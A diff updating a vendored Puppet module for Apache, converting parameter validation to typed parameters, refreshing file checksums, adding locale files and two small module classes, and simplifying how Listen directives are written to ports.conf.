   "templates/mod/worker.conf.erb": "dc4c7049af7312f5e82b3e72e8fccdfd",
-  "templates/mod/wsgi.conf.erb": "9a416fa3b71be0795679069809686300",
+  "templates/mod/wsgi.conf.erb": "ba2ba5a5699889626f4bc7f5604070b0",
   "templates/namevirtualhost.erb": "fbfca19a639e18e6c477e191344ac8ae",
   "templates/ports_header.erb": "afe35cb5747574b700ebaa0f0b3a626e",
   "templates/vhost/_access_log.erb": "522414033856b19a50a7ebb1c729438a",
@@ -300,7 +309,7 @@
   "templates/vhost/_block.erb": "8fa2f970222dbc0a38898b5a0ab80411",
   "templates/vhost/_charsets.erb": "d152b6a7815e9edc0fe9bf9acbe2f1ec",
   "templates/vhost/_custom_fragment.erb": "325ff48cefc06db035daa3491c391a88",
-  "templates/vhost/_directories.erb": "f981420e239cc4a615ccb9a7852b37f4",
+  "templates/vhost/_directories.erb": "cb400adc888ef3632e155b700c2117aa",
   "templates/vhost/_docroot.erb": "65d882a3c9d6b6bdd2f9b771f378035a",
   "templates/vhost/_error_document.erb": "81d3007c1301a5c5f244c082cfee9de2",
   "templates/vhost/_fallbackresource.erb": "e6c103bee7f6f76b10f244fc9fd1cd3b",
@@ -309,11 +318,12 @@
   "templates/vhost/_file_header.erb": "7c3c04eb4ac67403604113e2628696cf",
   "templates/vhost/_filters.erb": "597b9de5ae210af9182a1c95172115e7",
   "templates/vhost/_header.erb": "9eb9d4075f288183d8224ddec5b2f126",
+  "templates/vhost/_http_protocol_options.erb": "9df9dec592fdb8fb4ab4abf7227cef9c",
   "templates/vhost/_itk.erb": "8bf90b9855a9277f7a665b10f6c57fe9",
   "templates/vhost/_jk_mounts.erb": "ce997ee7b5602af04062cd5f785da345",
   "templates/vhost/_keepalive_options.erb": "16876858bac1e55b13545866b0428d90",
   "templates/vhost/_logging.erb": "5bc4cbb1bc8a292acc0ba0420f96ca4e",
-  "templates/vhost/_passenger.erb": "54089ef42f49bf8285d2d5ccdcba0699",
+  "templates/vhost/_passenger.erb": "2c720e3c849f81898be5f3822a3f67be",
   "templates/vhost/_passenger_base_uris.erb": "c8d7f4da1434078e856c72671942dcd8",
   "templates/vhost/_php.erb": "a16a9f3e146ce463481205e083d4bf79",
   "templates/vhost/_php_admin.erb": "107a57e9e7b3f86d1abcf743f672a292",
@@ -321,7 +331,7 @@
   "templates/vhost/_rack.erb": "ebe187c1bdc81eec9c8e0d9026120b18",
   "templates/vhost/_redirect.erb": "2d40ece74203cc00b861a058db91962c",
   "templates/vhost/_requestheader.erb": "db1b0cdda069ae809b5b83b0871ef991",
-  "templates/vhost/_require.erb": "8a90d4c632b65ae1d89c66220f73ee80",
+  "templates/vhost/_require.erb": "932106f2c9ea604bba4ace78d22bdfee",
   "templates/vhost/_rewrite.erb": "b7858eac95352744196006b57d4091df",
   "templates/vhost/_scriptalias.erb": "98713f33cca15b22c749bd35ea9a7b41",
   "templates/vhost/_security.erb": "0ade536a9d25342e7128996add04be56",
@@ -329,8 +339,8 @@
   "templates/vhost/_serversignature.erb": "9bf5a458783ab459e5043e1cdf671fa7",
   "templates/vhost/_setenv.erb": "6e6a7efb1b168da9673c9e6d00eadec5",
   "templates/vhost/_ssl.erb": "788b293b65736aead0007fe3bc52448b",
-  "templates/vhost/_sslproxy.erb": "c327d73e1669bde19a64e53109d4b57e",
+  "templates/vhost/_sslproxy.erb": "8ab477ac3aa325e46f07b3fbf188303f",
   "templates/vhost/_suexec.erb": "f2b3f9b9ff8fbac4e468e02cd824675a",
   "templates/vhost/_suphp.erb": "a1c4a5e4461adbfce870df0abd158b59",
-  "templates/vhost/_wsgi.erb": "8ae86dff3014767479a71441b0e6536e"
+  "templates/vhost/_wsgi.erb": "7939532279d7655896ce1a5942116ca7"
 }

modules/services/unix/http/apache/examples/vhost.pp

@@ -165,7 +165,7 @@ apache::vhost { 'sixteenth.example.com non-ssl':
     { comment      => 'Rewrite to lower case',
       rewrite_cond => ['%{REQUEST_URI} [A-Z]'],
       rewrite_map  => ['lc int:tolower'],
-      rewrite_rule => ['(.*) ${lc:$1} [R=301,L]'],
+      rewrite_rule => ["(.*) \${lc:\$1} [R=301,L]"],
     }
   ],
 }

modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb

@@ -1,45 +0,0 @@
-#
-# enclose_ipv6.rb
-#
-
-module Puppet::Parser::Functions
-  newfunction(:enclose_ipv6, :type => :rvalue, :doc => <<-EOS
-Takes an array of ip addresses and encloses the ipv6 addresses with square brackets.
-    EOS
-  ) do |arguments|
-
-    require 'ipaddr'
-
-    rescuable_exceptions = [ ArgumentError ]
-    if defined?(IPAddr::InvalidAddressError)
-	    rescuable_exceptions << IPAddr::InvalidAddressError
-    end
-
-    if (arguments.size != 1) then
-      raise(Puppet::ParseError, "enclose_ipv6(): Wrong number of arguments "+
-        "given #{arguments.size} for 1")
-    end
-    unless arguments[0].is_a?(String) or arguments[0].is_a?(Array) then
-      raise(Puppet::ParseError, "enclose_ipv6(): Wrong argument type "+
-        "given #{arguments[0].class} expected String or Array")
-    end
-
-    input = [arguments[0]].flatten.compact
-    result = []
-
-    input.each do |val|
-      unless val == '*'
-        begin
-          ip = IPAddr.new(val)
-        rescue *rescuable_exceptions
-          raise(Puppet::ParseError, "enclose_ipv6(): Wrong argument "+
-                "given #{val} is not an ip address.")
-        end
-        val = "[#{ip.to_s}]" if ip.ipv6?
-      end
-      result << val
-    end
-
-    return result.uniq
-  end
-end

modules/services/unix/http/apache/locales/config.yaml

@@ -0,0 +1,25 @@
+---
+# This is the project-specific configuration file for setting up
+# fast_gettext for your project.
+gettext:
+  # This is used for the name of the .pot and .po files; they will be
+  # called <project_name>.pot?
+  project_name: puppetlabs-apache
+  # This is used in comments in the .pot and .po files to indicate what
+  # project the files belong to and should bea little more desctiptive than
+  # <project_name>
+  package_name: puppetlabs-apache
+  # The locale that the default messages in the .pot file are in
+  default_locale: en
+  # The email used for sending bug reports.
+  bugs_address: docs@puppet.com
+  # The holder of the copyright.
+  copyright_holder: Puppet, Inc.
+  # This determines which comments in code should be eligible for translation.
+  # Any comments that start with this string will be externalized. (Leave
+  # empty to include all.)
+  comments_tag: TRANSLATOR
+  # Patterns for +Dir.glob+ used to find all files that might contain
+  # translatable content, relative to the project root directory
+  source_files:
+  

modules/services/unix/http/apache/locales/puppetlabs-apache.pot

@@ -0,0 +1,25 @@
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2017-03-21 14:19+0100\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: Translate Toolkit 2.0.0\n"
+
+#. metadata.json
+#: .summary
+msgid ""
+"Installs, configures, and manages Apache virtual hosts, web services, and "
+"modules."
+msgstr ""
+
+#. metadata.json
+#: .description
+msgid "Module for Apache configuration"
+msgstr ""

modules/services/unix/http/apache/manifests/custom_config.pp

@@ -1,13 +1,13 @@
 # See README.md for usage information
 define apache::custom_config (
-  $ensure         = 'present',
-  $confdir        = $::apache::confd_dir,
-  $content        = undef,
-  $priority       = '25',
-  $source         = undef,
-  $verify_command = $::apache::params::verify_command,
-  $verify_config  = true,
-  $filename       = undef,
+  Enum['absent', 'present'] $ensure = 'present',
+  $confdir                          = $::apache::confd_dir,
+  $content                          = undef,
+  $priority                         = '25',
+  $source                           = undef,
+  $verify_command                   = $::apache::params::verify_command,
+  Boolean $verify_config            = true,
+  $filename                         = undef,
 ) {
 
   if $content and $source {
@@ -18,12 +18,6 @@ define apache::custom_config (
     fail('One of $content and $source must be specified.')
   }
 
-  validate_re($ensure, '^(present|absent)$',
-  "${ensure} is not supported for ensure.
-  Allowed values are 'present' and 'absent'.")
-
-  validate_bool($verify_config)
-
   if $filename {
     $_filename = $filename
   } else {

modules/services/unix/http/apache/manifests/init.pp

@@ -13,101 +13,108 @@
 # Sample Usage:
 #
 class apache (
-  $apache_name            = $::apache::params::apache_name,
-  $service_name           = $::apache::params::service_name,
-  $default_mods           = true,
-  $default_vhost          = true,
-  $default_charset        = undef,
-  $default_confd_files    = true,
-  $default_ssl_vhost      = false,
-  $default_ssl_cert       = $::apache::params::default_ssl_cert,
-  $default_ssl_key        = $::apache::params::default_ssl_key,
-  $default_ssl_chain      = undef,
-  $default_ssl_ca         = undef,
-  $default_ssl_crl_path   = undef,
-  $default_ssl_crl        = undef,
-  $default_ssl_crl_check  = undef,
-  $default_type           = 'none',
-  $dev_packages           = $::apache::params::dev_packages,
-  $ip                     = undef,
-  $service_enable         = true,
-  $service_manage         = true,
-  $service_ensure         = 'running',
-  $service_restart        = undef,
-  $purge_configs          = false,
-  $purge_vhost_dir        = undef,
-  $purge_vdir             = false,
-  $serveradmin            = 'root@localhost',
-  $sendfile               = 'On',
-  $error_documents        = false,
-  $timeout                = '120',
-  $httpd_dir              = $::apache::params::httpd_dir,
-  $server_root            = $::apache::params::server_root,
-  $conf_dir               = $::apache::params::conf_dir,
-  $confd_dir              = $::apache::params::confd_dir,
-  $vhost_dir              = $::apache::params::vhost_dir,
-  $vhost_enable_dir       = $::apache::params::vhost_enable_dir,
-  $vhost_include_pattern  = $::apache::params::vhost_include_pattern,
-  $mod_dir                = $::apache::params::mod_dir,
-  $mod_enable_dir         = $::apache::params::mod_enable_dir,
-  $mpm_module             = $::apache::params::mpm_module,
-  $lib_path               = $::apache::params::lib_path,
-  $conf_template          = $::apache::params::conf_template,
-  $servername             = $::apache::params::servername,
-  $pidfile                = $::apache::params::pidfile,
-  $rewrite_lock           = undef,
-  $manage_user            = true,
-  $manage_group           = true,
-  $user                   = $::apache::params::user,
-  $group                  = $::apache::params::group,
-  $keepalive              = $::apache::params::keepalive,
-  $keepalive_timeout      = $::apache::params::keepalive_timeout,
-  $max_keepalive_requests = $::apache::params::max_keepalive_requests,
-  $limitreqfieldsize      = '8190',
-  $logroot                = $::apache::params::logroot,
-  $logroot_mode           = $::apache::params::logroot_mode,
-  $log_level              = $::apache::params::log_level,
-  $log_formats            = {},
-  $ssl_file               = $::apache::params::ssl_file,
-  $ports_file             = $::apache::params::ports_file,
-  $docroot                = $::apache::params::docroot,
-  $apache_version         = $::apache::version::default,
-  $server_tokens          = 'OS',
-  $server_signature       = 'On',
-  $trace_enable           = 'On',
-  $allow_encoded_slashes  = undef,
-  $package_ensure         = 'installed',
-  $use_optional_includes  = $::apache::params::use_optional_includes,
-  $use_systemd            = $::apache::params::use_systemd,
-  $mime_types_additional  = $::apache::params::mime_types_additional,
-  $file_mode              = $::apache::params::file_mode,
-  $root_directory_options = $::apache::params::root_directory_options,
-  $root_directory_secured = false,
-  $error_log              = $::apache::params::error_log,
-  $scriptalias            = $::apache::params::scriptalias,
-  $access_log_file        = $::apache::params::access_log_file,
-  $overwrite_ports        = true,
+  $apache_name                                                   = $::apache::params::apache_name,
+  $service_name                                                  = $::apache::params::service_name,
+  $default_mods                                                  = true,
+  Boolean $default_vhost                                         = true,
+  $default_charset                                               = undef,
+  Boolean $default_confd_files                                   = true,
+  Boolean $default_ssl_vhost                                     = false,
+  $default_ssl_cert                                              = $::apache::params::default_ssl_cert,
+  $default_ssl_key                                               = $::apache::params::default_ssl_key,
+  $default_ssl_chain                                             = undef,
+  $default_ssl_ca                                                = undef,
+  $default_ssl_crl_path                                          = undef,
+  $default_ssl_crl                                               = undef,
+  $default_ssl_crl_check                                         = undef,
+  $default_type                                                  = 'none',
+  $dev_packages                                                  = $::apache::params::dev_packages,
+  $ip                                                            = undef,
+  Boolean $service_enable                                        = true,
+  Boolean $service_manage                                        = true,
+  $service_ensure                                                = 'running',
+  $service_restart                                               = undef,
+  $purge_configs                                                 = true,
+  $purge_vhost_dir                                               = undef,
+  $purge_vdir                                                    = false,
+  $serveradmin                                                   = 'root@localhost',
+  $sendfile                                                      = 'On',
+  $error_documents                                               = false,
+  $timeout                                                       = '120',
+  $httpd_dir                                                     = $::apache::params::httpd_dir,
+  $server_root                                                   = $::apache::params::server_root,
+  $conf_dir                                                      = $::apache::params::conf_dir,
+  $confd_dir                                                     = $::apache::params::confd_dir,
+  $vhost_dir                                                     = $::apache::params::vhost_dir,
+  $vhost_enable_dir                                              = $::apache::params::vhost_enable_dir,
+  $mod_packages                                                  = $::apache::params::mod_packages,
+  $vhost_include_pattern                                         = $::apache::params::vhost_include_pattern,
+  $mod_dir                                                       = $::apache::params::mod_dir,
+  $mod_enable_dir                                                = $::apache::params::mod_enable_dir,
+  $mpm_module                                                    = $::apache::params::mpm_module,
+  $lib_path                                                      = $::apache::params::lib_path,
+  $conf_template                                                 = $::apache::params::conf_template,
+  $servername                                                    = $::apache::params::servername,
+  $pidfile                                                       = $::apache::params::pidfile,
+  Optional[Stdlib::Absolutepath] $rewrite_lock                   = undef,
+  Boolean $manage_user                                           = true,
+  Boolean $manage_group                                          = true,
+  $user                                                          = $::apache::params::user,
+  $group                                                         = $::apache::params::group,
+  $http_protocol_options                                         = $::apache::params::http_protocol_options,
+  $supplementary_groups                                          = [],
+  $keepalive                                                     = $::apache::params::keepalive,
+  $keepalive_timeout                                             = $::apache::params::keepalive_timeout,
+  $max_keepalive_requests                                        = $::apache::params::max_keepalive_requests,
+  $limitreqfieldsize                                             = '8190',
+  $logroot                                                       = $::apache::params::logroot,
+  $logroot_mode                                                  = $::apache::params::logroot_mode,
+  $log_level                                                     = $::apache::params::log_level,
+  $log_formats                                                   = {},
+  $ssl_file                                                      = undef,
+  $ports_file                                                    = $::apache::params::ports_file,
+  $docroot                                                       = $::apache::params::docroot,
+  $apache_version                                                = $::apache::version::default,
+  $server_tokens                                                 = 'OS',
+  $server_signature                                              = 'On',
+  $trace_enable                                                  = 'On',
+  Optional[Enum['on', 'off', 'nodecode']] $allow_encoded_slashes = undef,
+  $file_e_tag                                                    = undef,
+  $package_ensure                                                = 'installed',
+  Boolean $use_optional_includes                                 = $::apache::params::use_optional_includes,
+  $use_systemd                                                   = $::apache::params::use_systemd,
+  $mime_types_additional                                         = $::apache::params::mime_types_additional,
+  $file_mode                                                     = $::apache::params::file_mode,
+  $root_directory_options                                        = $::apache::params::root_directory_options,
+  Boolean $root_directory_secured                                = false,
+  $error_log                                                     = $::apache::params::error_log,
+  $scriptalias                                                   = $::apache::params::scriptalias,
+  $access_log_file                                               = $::apache::params::access_log_file,
 ) inherits ::apache::params {
-  validate_bool($default_vhost)
-  validate_bool($default_ssl_vhost)
-  validate_bool($default_confd_files)
-  # true/false is sufficient for both ensure and enable
-  validate_bool($service_enable)
-  validate_bool($service_manage)
-  validate_bool($use_optional_includes)
-  validate_bool($root_directory_secured)
 
   $valid_mpms_re = $apache_version ? {
     '2.4'   => '(event|itk|peruser|prefork|worker)',
     default => '(event|itk|prefork|worker)'
   }
 
-  if $mpm_module and $mpm_module != 'false' { # lint:ignore:quoted_booleans
-    validate_re($mpm_module, $valid_mpms_re)
+  if $::osfamily == 'RedHat' and $::apache::version::distrelease == '7' {
+    # On redhat 7 the ssl.conf lives in /etc/httpd/conf.d (the confd_dir)
+    # when all other module configs live in /etc/httpd/conf.modules.d (the
+    # mod_dir). On all other platforms and versions, ssl.conf lives in the
+    # mod_dir. This should maintain the expected location of ssl.conf
+    $_ssl_file = $ssl_file ? {
+      undef   => "${apache::confd_dir}/ssl.conf",
+      default =>  $ssl_file
+    }
+  } else {
+    $_ssl_file = $ssl_file ? {
+      undef   => "${apache::mod_dir}/ssl.conf",
+      default =>  $ssl_file
+    }
   }
 
-  if $allow_encoded_slashes {
-    validate_re($allow_encoded_slashes, '(^on$|^off$|^nodecode$)', "${allow_encoded_slashes} is not permitted for allow_encoded_slashes. Allowed values are 'on', 'off' or 'nodecode'.")
+  if $mpm_module and $mpm_module != 'false' { # lint:ignore:quoted_booleans
+    assert_type(Pattern[$valid_mpms_re], $mpm_module)
   }
 
   # NOTE: on FreeBSD it's mpm module's responsibility to install httpd package.
@@ -126,15 +133,14 @@ class apache (
 
   # declare the web server user and group
   # Note: requiring the package means the package ought to create them and not puppet
-  validate_bool($manage_user)
   if $manage_user {
     user { $user:
       ensure  => present,
       gid     => $group,
+      groups  => $supplementary_groups,
       require => Package['httpd'],
     }
   }
-  validate_bool($manage_group)
   if $manage_group {
     group { $group:
       ensure  => present,
@@ -249,19 +255,17 @@ class apache (
     $vhost_load_dir = $vhost_dir
   }
 
-  if $overwrite_ports {
-    concat { $ports_file:
-      ensure  => present,
-      owner   => 'root',
-      group   => $::apache::params::root_group,
-      mode    => $::apache::file_mode,
-      notify  => Class['Apache::Service'],
-      require => Package['httpd'],
-    }
-    concat::fragment { 'Apache ports header':
-      target  => $ports_file,
-      content => template('apache/ports_header.erb'),
-    }
+  concat { $ports_file:
+    ensure  => present,
+    owner   => 'root',
+    group   => $::apache::params::root_group,
+    mode    => $::apache::file_mode,
+    notify  => Class['Apache::Service'],
+    require => Package['httpd'],
+  }
+  concat::fragment { 'Apache ports header':
+    target  => $ports_file,
+    content => template('apache/ports_header.erb'),
   }
 
   if $::apache::conf_dir and $::apache::params::conf_file {
@@ -299,10 +303,6 @@ class apache (
       default   => false
     }
 
-    if $rewrite_lock {
-      validate_absolute_path($rewrite_lock)
-    }
-
     # Template uses:
     # - $pidfile
     # - $user
@@ -317,6 +317,7 @@ class apache (
     # - $error_documents
     # - $error_documents_path
     # - $apxs_workaround
+    # - $http_protocol_options
     # - $keepalive
     # - $keepalive_timeout
     # - $max_keepalive_requests
@@ -330,7 +331,7 @@ class apache (
       ensure  => file,
       content => template($conf_template),
       notify  => Class['Apache::Service'],
-      require => [Package['httpd']],
+      require => [Package['httpd'], Concat[$ports_file]],
     }
 
     # preserve back-wards compatibility to the times when default_mods was

modules/services/unix/http/apache/manifests/listen.pp

@@ -1,25 +1,9 @@
-define apache::listen ($port='') {
+define apache::listen {
   $listen_addr_port = $name
 
-  if defined(Concat[$::apache::ports_file]){
-    # Template uses: $listen_addr_port
-    concat::fragment { "Listen ${listen_addr_port}":
-      target  => $::apache::ports_file,
-      content => template('apache/listen.erb'),
-    }
-  } elsif $port != '80' {
-    # Create a temporary file
-    # join with cat $tmp_file >> $file
-    # remove tmp files
-    $ports_file = $::apache::ports_file
-    $tmp_file = "$ports_file-tmp_listen"
-    file { $tmp_file:
-      ensure => file,
-      content => template('apache/listen.erb'),
-    }
-
-    exec { "apache::listen: cat $tmp_file with ports.conf":
-      command => "/bin/cat $tmp_file >> $ports_file;/bin/rm $tmp_file"
-    }
+  # Template uses: $listen_addr_port
+  concat::fragment { "Listen ${listen_addr_port}":
+    target  => $::apache::ports_file,
+    content => template('apache/listen.erb'),
   }
 }

modules/services/unix/http/apache/manifests/mod.pp

@@ -46,7 +46,7 @@ define apache::mod (
   }
 
   # Determine if we have a package
-  $mod_packages = $::apache::params::mod_packages
+  $mod_packages = $::apache::mod_packages
   if $package {
     $_package = $package
   } elsif has_key($mod_packages, $mod) { # 2.6 compatibility hack

modules/services/unix/http/apache/manifests/mod/auth_cas.pp

@@ -1,7 +1,7 @@
 class apache::mod::auth_cas (
-  $cas_login_url,
-  $cas_validate_url,
-  $cas_cookie_path           = $::apache::params::cas_cookie_path,
+  String $cas_login_url,
+  String $cas_validate_url,
+  String $cas_cookie_path    = $::apache::params::cas_cookie_path,
   $cas_cookie_path_mode      = '0750',
   $cas_version               = 2,
   $cas_debug                 = 'Off',
@@ -25,8 +25,6 @@ class apache::mod::auth_cas (
   $suppress_warning          = false,
 ) inherits ::apache::params {
 
-  validate_string($cas_login_url, $cas_validate_url, $cas_cookie_path)
-
   if $::osfamily == 'RedHat' and ! $suppress_warning {
     warning('RedHat distributions do not have Apache mod_auth_cas in their default package repositories.')
   }

modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp

@@ -1,26 +1,17 @@
 # lint:ignore:variable_is_lowercase required for compatibility
 class apache::mod::authnz_ldap (
-  $verify_server_cert = true,
-  $verifyServerCert   = undef,
-  $package_name       = undef,
+  Boolean $verify_server_cert = true,
+  $package_name               = undef,
 ) {
+
   include ::apache
   include '::apache::mod::ldap'
   ::apache::mod { 'authnz_ldap':
     package => $package_name,
   }
 
-  if $verifyServerCert {
-    warning('Class[\'apache::mod::authnz_ldap\'] parameter verifyServerCert is deprecated in favor of verify_server_cert')
-    $_verify_server_cert = $verifyServerCert
-  } else {
-    $_verify_server_cert = $verify_server_cert
-  }
-
-  validate_bool($_verify_server_cert)
-
   # Template uses:
-  # - $_verify_server_cert
+  # - $verify_server_cert
   file { 'authnz_ldap.conf':
     ensure  => file,
     path    => "${::apache::mod_dir}/authnz_ldap.conf",

modules/services/unix/http/apache/manifests/mod/authnz_pam.pp

@@ -0,0 +1,4 @@
+class apache::mod::authnz_pam {
+  include ::apache
+  ::apache::mod { 'authnz_pam': }
+}

modules/services/unix/http/apache/manifests/mod/cgi.pp

@@ -2,7 +2,9 @@ class apache::mod::cgi {
   case $::osfamily {
     'FreeBSD': {}
     default: {
-      Class['::apache::mod::prefork'] -> Class['::apache::mod::cgi']
+      if $::apache::mpm_module =~ /^(itk|peruser|prefork)$/ {
+        Class["::apache::mod::${::apache::mpm_module}"] -> Class['::apache::mod::cgi']
+      }
     }
   }
 

modules/services/unix/http/apache/manifests/mod/cluster.pp

@@ -9,6 +9,7 @@ class apache::mod::cluster (
   $manager_allowed_network = '127.0.0.1',
   $max_keep_alive_requests = 0,
   $server_advertise = true,
+  $advertise_frequency = undef,
 ) {
 
   include ::apache

modules/services/unix/http/apache/manifests/mod/dir.pp

@@ -2,10 +2,10 @@
 # Parameters:
 # - $indexes provides a string for the DirectoryIndex directive http://httpd.apache.org/docs/current/mod/mod_dir.html#directoryindex
 class apache::mod::dir (
-  $dir     = 'public_html',
-  $indexes = ['index.html','index.html.var','index.cgi','index.pl','index.php','index.xhtml'],
+  $dir                   = 'public_html',
+  Array[String] $indexes = ['index.html','index.html.var','index.cgi','index.pl','index.php','index.xhtml'],
 ) {
-  validate_array($indexes)
+
   include ::apache
   ::apache::mod { 'dir': }
 

modules/services/unix/http/apache/manifests/mod/dumpio.pp

@@ -1,10 +1,8 @@
 class apache::mod::dumpio(
-  $dump_io_input  = 'Off',
-  $dump_io_output = 'Off',
+  Enum['Off', 'On', 'off', 'on'] $dump_io_input  = 'Off',
+  Enum['Off', 'On', 'off', 'on'] $dump_io_output = 'Off',
 ) {
   include ::apache
-  validate_re(downcase($dump_io_input), '^(on|off)$', "${dump_io_input} is not supported for dump_io_input.  Allowed values are 'On' and 'Off'.")
-  validate_re(downcase($dump_io_output), '^(on|off)$', "${dump_io_output} is not supported for dump_io_output.  Allowed values are 'On' and 'Off'.")
 
   ::apache::mod { 'dumpio': }
   file{'dumpio.conf':

modules/services/unix/http/apache/manifests/mod/ext_filter.pp

@@ -1,10 +1,7 @@
 class apache::mod::ext_filter(
-  $ext_filter_define = undef
+  Optional[Hash] $ext_filter_define = undef
 ) {
   include ::apache
-  if $ext_filter_define {
-    validate_hash($ext_filter_define)
-  }
 
   ::apache::mod { 'ext_filter': }
 

modules/services/unix/http/apache/manifests/mod/intercept_form_submit.pp

@@ -0,0 +1,4 @@
+class apache::mod::intercept_form_submit {
+  include ::apache
+  ::apache::mod { 'intercept_form_submit': }
+}

modules/services/unix/http/apache/manifests/mod/ldap.pp

@@ -1,19 +1,17 @@
 class apache::mod::ldap (
-  $apache_version                = undef,
-  $package_name                  = undef,
-  $ldap_trusted_global_cert_file = undef,
-  $ldap_trusted_global_cert_type = 'CA_BASE64',
-  $ldap_shared_cache_size        = undef,
-  $ldap_cache_entries            = undef,
-  $ldap_cache_ttl                = undef,
-  $ldap_opcache_entries          = undef,
-  $ldap_opcache_ttl              = undef,
+  $apache_version                                  = undef,
+  $package_name                                    = undef,
+  $ldap_trusted_global_cert_file                   = undef,
+  Optional[String] $ldap_trusted_global_cert_type  = 'CA_BASE64',
+  $ldap_shared_cache_size                          = undef,
+  $ldap_cache_entries                              = undef,
+  $ldap_cache_ttl                                  = undef,
+  $ldap_opcache_entries                            = undef,
+  $ldap_opcache_ttl                                = undef,
 ){
+
   include ::apache
   $_apache_version = pick($apache_version, $apache::apache_version)
-  if ($ldap_trusted_global_cert_file) {
-    validate_string($ldap_trusted_global_cert_type)
-  }
   ::apache::mod { 'ldap':
     package => $package_name,
   }